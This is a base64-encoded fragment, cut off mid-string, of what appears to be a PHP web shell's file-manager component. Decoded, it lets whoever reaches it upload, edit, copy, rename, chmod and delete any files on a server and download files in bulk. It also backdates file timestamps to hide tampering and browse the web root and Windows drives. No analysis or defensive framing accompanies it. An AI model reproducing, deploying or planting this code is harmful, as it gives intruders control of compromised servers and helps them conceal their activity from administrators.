NCg0KCS8vIERlbGV0ZSBkaXINCglpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7DQoJCWlmICghZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKCdEaXJlY3RvcnkgZGVsZXRlICcuKGRlbHRyZWUoJHRoZWZpbGUpID8gYmFzZW5hbWUoJHRoZWZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gQ3JlYXRlIG5ldyBkaXINCgllbHNlaWYgKCRuZXdkaXJuYW1lKSB7DQoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7DQoJCQltKCdEaXJlY3RvcnkgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc3NykgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQkJQGNobW9kKCRta2RpcnMsMDc3Nyk7DQoJCX0NCgl9DQoNCgkvLyBVcGxvYWQgZmlsZQ0KCWVsc2VpZiAoJGRvdXBmaWxlKSB7DQoJCW0oJ0ZpbGUgdXBsb2FkICcuKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkdXBsb2FkZGlyLicvJy4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCX0NCg0KCS8vIEVkaXQgZmlsZQ0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsNCgkJbSgnU2F2ZSBmaWxlICcuKEBmd3JpdGUoJGZwLCRmaWxlY29udGVudCkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KDQoJLy8gTW9kaWZ5DQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsNCgkJaWYgKCFmaWxlX2V4aXN0cygkcGZpbGUpKSB7DQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0sOCwxMCk7DQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIFJlbmFtZQ0KCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7DQoJCSRubmFtZSA9ICRub3dwYXRoLiRuZXdmaWxlbmFtZTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwgIWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgew0KCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCW0oYmFzZW5hbWUoJG9sZG5hbWUpLicgcmVuYW1lZCAnLmJhc2VuYW1lKCRubmFtZSkuKEByZW5hbWUoJG9sZG5hbWUsJG5uYW1lKSA/ICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gQ29wdQ0KCWVsc2VpZiAoJHNuYW1lICYmICR0b2ZpbGUpIHsNCgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7DQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIEZpbGUgZXhpdA0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHRhcmZpbGUpIHsNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7DQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gRGF0ZQ0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSkgew0KCQkJbShiYXNlbmFtZSgkY3VyZmlsZSkuJyBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOw0KCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBEb3dubG9hZA0KCWVsc2VpZigkZG9pbmcgPT0gJ2Rvd25yYXInKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KCQkJCSRkZmlsZXMuPSRmaWxlcGF0aC4nLCc7DQoJCQl9DQoJCQkkZGZpbGVzPXN1YnN0cigkZGZpbGVzLDAsc3RybGVuKCRkZmlsZXMpLTEpOw0KCQkJJGRsPWV4cGxvZGUoJywnLCRkZmlsZXMpOw0KCQkJJHppcD1uZXcgUEhQWmlwKCRkbCk7DQoJCQkkY29kZT0kemlwLT5vdXQ7DQoJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQoJCQloZWFkZXIoJ0FjY2VwdC1SYW5nZXM6IGJ5dGVzJyk7DQoJCQloZWFkZXIoJ0FjY2VwdC1MZW5ndGg6ICcuc3RybGVuKCRjb2RlKSk7DQoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5hbWU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19GaWxlcy50YXIuZ3onKTsNCgkJCWVjaG8gJGNvZGU7DQoJCQlleGl0Ow0KCQl9IGVsc2Ugew0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7DQoJCX0NCgl9DQoNCgkvLyBEZWxldGUgZmlsZQ0KCWVsc2VpZigkZG9pbmcgPT0gJ2RlbGZpbGVzJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJJHN1Y2MgPSAkZmFpbCA9IDA7DQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KCQkJCWlmIChAdW5saW5rKCRmaWxlcGF0aCkpIHsNCgkJCQkJJHN1Y2MrKzsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZmFpbCsrOw0KCQkJCX0NCgkJCX0NCgkJCW0oJ0RlbGV0ZWQgZmlsZSBoYXZlIGZpbmlzaGVkPz9jaG9vc2UgJy5jb3VudCgkZGwpLicgc3VjY2VzcyAnLiRzdWNjLicgZmFpbCAnLiRmYWlsKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOw0KCQl9DQoJfQ0KDQoJLy8gRnVuY3Rpb24gTmV3ZGlyDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY3JlYXRlZGlyJykpOw0KCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7DQoJbWFrZWhpZGUoJ25ld3Blcm0nKTsNCgltYWtlaGlkZSgncGZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidjb3B5ZmlsZScpKTsNCgltYWtlaGlkZSgnc25hbWUnKTsNCgltYWtlaGlkZSgndG9maWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVuYW1lJykpOw0KCW1ha2VoaWRlKCdvbGRuYW1lJyk7DQoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJyk7DQoJbWFrZWhpZGUoJ29wZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInKTsNCglmb3JtZm9vdCgpOw0KDQoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsNCgkhJGZyZWUgJiYgJGZyZWUgPSAwOw0KCSRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkbm93cGF0aCk7DQoJISRhbGwgJiYgJGFsbCA9IDA7DQoJJHVzZWQgPSAkYWxsLSRmcmVlOw0KCSR1c2VkX3BlcmNlbnQgPSBAcm91bmQoMTAwLygkYWxsLyRmcmVlKSwyKTsNCglwKCc8Zm9udCBjb2xvcj15ZWxsb3cgZmFjZT10YWhvbWEgc2l6ZT0yPjxCPkZpbGUgTWFuYWdlcjwvYj4gPC9mb250PiBDdXJyZW50IGRpc2sgZnJlZSA8Zm9udCBjb2xvcj1yZWQ+Jy5zaXplY291bnQoJGZyZWUpLic8L2ZvbnQ+IG9mIDxmb250IGNvbG9yPXJlZD4nLnNpemVjb3VudCgkYWxsKS4nPC9mb250PiAoPGZvbnQgY29sb3I9cmVkPicuJHVzZWRfcGVyY2VudC4nPC9mb250PiUpPC9mb250PicpOw0KDQo/Pg0KDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPg0KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4NCiAgPHRyPg0KICAgIDx0ZCBub3dyYXA+Q3VycmVudCBEaXJlY3RvcnkgKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+DQoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZm9ybT4NCg0KPC90YWJsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNyZWF0ZWRpcigpew0KCXZhciBuZXdkaXJuYW1lOw0KCW5ld2Rpcm5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZGlyZWN0b3J5IG5hbWU6JywgJycpOw0KCWlmICghbmV3ZGlybmFtZSkgcmV0dXJuOw0KCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9bmV3ZGlybmFtZTsNCgkkKCdjcmVhdGVkaXInKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGZpbGVwZXJtKHBmaWxlKXsNCgl2YXIgbmV3cGVybTsNCgluZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7DQoJaWYgKCFuZXdwZXJtKSByZXR1cm47DQoJJCgnZmlsZXBlcm0nKS5uZXdwZXJtLnZhbHVlPW5ld3Blcm07DQoJJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsNCgkkKCdmaWxlcGVybScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUpew0KCXZhciB0b2ZpbGU7DQoJdG9maWxlID0gcHJvbXB0KCdPcmlnaW5hbCBmaWxlOicrc25hbWUrJ1xuUGxlYXNlIGlucHV0IG9iamVjdCBmaWxlIChmdWxscGF0aCk6JywgJycpOw0KCWlmICghdG9maWxlKSByZXR1cm47DQoJJCgnY29weWZpbGUnKS50b2ZpbGUudmFsdWU9dG9maWxlOw0KCSQoJ2NvcHlmaWxlJykuc25hbWUudmFsdWU9c25hbWU7DQoJJCgnY29weWZpbGUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHJlbmFtZShvbGRuYW1lKXsNCgl2YXIgbmV3ZmlsZW5hbWU7DQoJbmV3ZmlsZW5hbWUgPSBwcm9tcHQoJ0Zvcm1lciBmaWxlIG5hbWU6JytvbGRuYW1lKydcblBsZWFzZSBpbnB1dCBuZXcgZmlsZW5hbWU6JywgJycpOw0KCWlmICghbmV3ZmlsZW5hbWUpIHJldHVybjsNCgkkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsNCgkkKCdyZW5hbWUnKS5vbGRuYW1lLnZhbHVlPW9sZG5hbWU7DQoJJCgncmVuYW1lJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBkb2ZpbGUoZG9pbmcsdGhlZmlsZSxtKXsNCglpZiAobSAmJiAhY29uZmlybShtKSkgew0KCQlyZXR1cm47DQoJfQ0KCSQoJ2ZpbGVsaXN0JykuZG9pbmcudmFsdWU9ZG9pbmc7DQoJaWYgKHRoZWZpbGUpew0KCQkkKCdmaWxlbGlzdCcpLnRoZWZpbGUudmFsdWU9dGhlZmlsZTsNCgl9DQoJJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNyZWF0ZWZpbGUobm93cGF0aCl7DQoJdmFyIGZpbGVuYW1lOw0KCWZpbGVuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGZpbGUgbmFtZTonLCAnJyk7DQoJaWYgKCFmaWxlbmFtZSkgcmV0dXJuOw0KCW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsNCn0NCmZ1bmN0aW9uIG9wZmlsZShhY3Rpb24sb3BmaWxlLGRpcil7DQoJJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247DQoJJCgnZmlsZW9wZm9ybScpLm9wZmlsZS52YWx1ZT1vcGZpbGU7DQoJJCgnZmlsZW9wZm9ybScpLmRpci52YWx1ZT1kaXI7DQoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZ29kaXIoZGlyLHZpZXdfd3JpdGFibGUpew0KCWlmICh2aWV3X3dyaXRhYmxlKSB7DQoJCSQoJ2dvZGlyJykudmlld193cml0YWJsZS52YWx1ZT0xOw0KCX0NCgkkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7DQoJJCgnZ29kaXInKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KICA8P3BocA0KCXRiaGVhZCgpOw0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJwYWRkaW5nOjVweDsiPicpOw0KCXAoJzxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdmFsdWU9IiIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IGNsYXNzPSIiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7DQoJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nXCcpOyI+V2ViUm9vdDwvYT4nKTsNCglpZiAoJHZpZXdfd3JpdGFibGUpIHsNCgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOw0KCX0gZWxzZSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyxcJzFcJyk7Ij5WaWV3IFdyaXRhYmxlPC9hPicpOw0KCX0NCglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWRpcigpOyI+Q3JlYXRlIERpcmVjdG9yeTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij5DcmVhdGUgRmlsZTwvYT4nKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmopKSB7DQoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgwID0+ICdVbmtub3cnLDEgPT4gJ1JlbW92YWJsZScsMiA9PiAnRml4ZWQnLDMgPT4gJ05ldHdvcmsnLDQgPT4gJ0NEUm9tJyw1ID0+ICdSQU0gRGlzaycpOw0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoJCQkJaWYgKCRkcml2ZS0+RHJpdmVUeXBlID09IDIpIHsNCgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlNpemU6Jy5zaXplY291bnQoJGRyaXZlLT5Ub3RhbFNpemUpLicmIzEzO0ZyZWU6Jy5zaXplY291bnQoJGRyaXZlLT5GcmVlU3BhY2UpLicmIzEzO1R5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8L3RkPjwvdHI+PC9mb3JtPicpOw0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7DQoNCgkvLyBHZXQgcGF0aA0KCSRkaXJkYXRhPWFycmF5KCk7DQoJJGZpbGVkYXRhPWFycmF5KCk7DQoNCglpZiAoJHZpZXdfd3JpdGFibGUpIHsNCgkJJGRpcmRhdGEgPSBHZXRMaXN0KCRub3dwYXRoKTsNCgl9IGVsc2Ugew0KCQkvLyBPcGVuIGRpcg0KCQkkZGlycz1Ab3BlbmRpcigkZGlyKTsNCgkJd2hpbGUgKCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgew0KCQkJJGZpbGVwYXRoPSRub3dwYXRoLiRmaWxlOw0KCQkJaWYoQGlzX2RpcigkZmlsZXBhdGgpKXsNCgkJCQkkZGlyZGJbJ2ZpbGVuYW1lJ109JGZpbGU7DQoJCQkJJGRpcmRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQkJCSRkaXJkYlsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZGlycGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoJCQkJJGRpcmRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCgkJCQkkZGlyZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGF0YVtdPSRkaXJkYjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCgkJCQkkZmlsZWRiWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6ZSgkZmlsZXBhdGgpKTsNCgkJCQkkZmlsZWRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7DQoJCQkJJGZpbGVkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7DQoJCQkJJGZpbGVkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7DQoJCQl9DQoJCX0vLyB3aGlsZQ0KCQl1bnNldCgkZGlyZGIpOw0KCQl1bnNldCgkZmlsZWRiKTsNCgkJQGNsb3NlZGlyKCRkaXJzKTsNCgl9DQoJQHNvcnQoJGRpcmRhdGEpOw0KCUBzb3J0KCRmaWxlZGF0YSk7DQoJJGRpcl9pID0gJzAnOw0KCWZvcmVhY2goJGRpcmRhdGEgYXMgJGtleSA9PiAkZGlyZGIpew0KCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGRpcmRiWydmaWxlbmFtZSddIT0nLicpIHsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48Zm9udCBmYWNlPSJ3aW5nZGluZ3MiIHNpemU9IjMiPjA8L2ZvbnQ+PC90ZD4nKTsNCgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZGlyZGJbJ210aW1lJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPi0tPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJwZXJtJ10uJzwvYT4nLiRkaXJkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZGVsZGlyXCcsXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCdBcmUgeW91IHN1cmUgd2lsbCBkZWxldGUgJy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJz8gXFxuXFxuSWYgbm9uLWVtcHR5IGRpcmVjdG9yeSwgd2lsbCBiZSBkZWxldGUgYWxsIHRoZSBmaWxlcy5cJykiPkRlbDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsNCgkJCXAoJzwvdHI+Jyk7DQoJCQkkZGlyX2krKzsNCgkJfSBlbHNlIHsNCgkJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXT09Jy4uJykgew0KCQkJCXAoJzx0ciBjbGFzcz1mb3V0PicpOw0KCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPHRyIGJnY29sb3I9ImdyZWVuIiBzdGx5ZT0iYm9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5OyI+PHRkIGNvbHNwYW49IjYiIGhlaWdodD0iNSI+PC90ZD48L3RyPicpOw0KCXAoJzxmb3JtIGlkPSJmaWxlbGlzdCIgbmFtZT0iZmlsZWxpc3QiIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9InBvc3QiPicpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJJGZpbGVfaSA9ICcwJzsNCglmb3JlYWNoKCRmaWxlZGF0YSBhcyAka2V5ID0+ICRmaWxlZGIpew0KCQlpZigkZmlsZ